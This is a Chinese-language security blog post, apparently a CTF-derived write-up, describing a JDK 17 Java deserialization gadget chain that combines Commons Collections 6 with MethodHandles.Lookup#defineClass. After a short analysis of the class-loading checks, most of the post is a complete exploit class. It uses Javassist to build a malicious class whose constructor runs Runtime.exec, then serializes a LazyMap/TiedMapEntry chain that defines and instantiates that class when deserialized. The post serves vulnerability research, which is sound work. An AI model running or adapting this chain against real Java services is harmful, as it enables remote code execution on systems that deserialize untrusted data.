jdk17+MethodHandles+CC
1diot9 Lv4

这个链最先在2024极客巅峰ez_java中出现

类加载的地方在java.lang.invoke.MethodHandles.Lookup#defineClass

类加载分析

img

传入的参数就是类的bytecode,跟进makeClassDefiner:

img

这里lookupClass().getPackageName()就是获取调用者的包名。我们是通过InvokerTransformer去调的,所以这里的包名就是org.apache.commons.collections.functors

跟进newInstance:

img

这里是最重要的部分,必须保证我们的恶意类和调用者所在的包是相同的,这样才不会抛出报错。

这样就能完成类加载的过程,不过并没有进行实例化,所以还需要通过org.apache.commons.collections.functors.InstantiateTransformer#transform来对恶意类进行实例化,从而触发无参构造或者静态代码块。

这里还需要想办法获取MethodHandles的内部类Lookup。不过MethodHandles提供了一个方法能直接让我们获取:

img

Exp

这里用的是CC6

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
package com.test;

import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.invoke.MethodHandles;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class Exp {
public static void main(String[] args) throws CannotCompileException, IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, NoSuchFieldException, ClassNotFoundException {
ClassPool pool = ClassPool.getDefault();
pool.importPackage("java.io");
// 调用者和被调用者的包名一致,才能通过java.lang.invoke.MethodHandles.Lookup.ClassFile.newInstance里的判断
CtClass ctClass = pool.makeClass("org.apache.commons.collections.functors.Calc");
CtConstructor ctConstructor = new CtConstructor(new CtClass[]{}, ctClass);
ctConstructor.setBody(" try {\n" +
" Runtime.getRuntime().exec(\"calc\");\n" +
" } catch (IOException e) {\n" +
" throw new RuntimeException(e);\n" +
" }");
ctClass.addConstructor(ctConstructor);
byte[] bytecode = ctClass.toBytecode();
// ctClass.writeFile("Calc.class");


ConstantTransformer constantTransformer = new ConstantTransformer(MethodHandles.class);
InvokerTransformer invokerTransformer1 = new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"lookup", new Class[]{}});
InvokerTransformer invokerTransformer2 = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}});
InvokerTransformer invokerTransformer3 = new InvokerTransformer("defineClass", new Class[]{byte[].class}, new Object[]{bytecode});
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[0], new Object[0]);

Transformer[] transformers = {constantTransformer,invokerTransformer1,invokerTransformer2,invokerTransformer3, instantiateTransformer};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> inner = new HashMap<>();



Map lazyMap = LazyMap.decorate(inner, new ConstantFactory("123"));

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "useless");


HashMap<Object, Object> finalMap = new HashMap<>();
finalMap.put(tiedMapEntry, "any");
inner.remove("useless");
lazyMap.remove("useless");
setFieldValue(lazyMap, "factory", chainedTransformer);


// setFieldValue(chainedTransformer, "iTransformers", transformers);

FileOutputStream fos = new FileOutputStream("mh.bin");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(finalMap);
oos.close();

FileInputStream fis = new FileInputStream("mh.bin");
ObjectInputStream ois = new ObjectInputStream(fis);
ois.readObject();
ois.close();

}

public static void setFieldValue (Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

参考

https://xz.aliyun.com/news/14807

由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 61.3k 访客数 访问量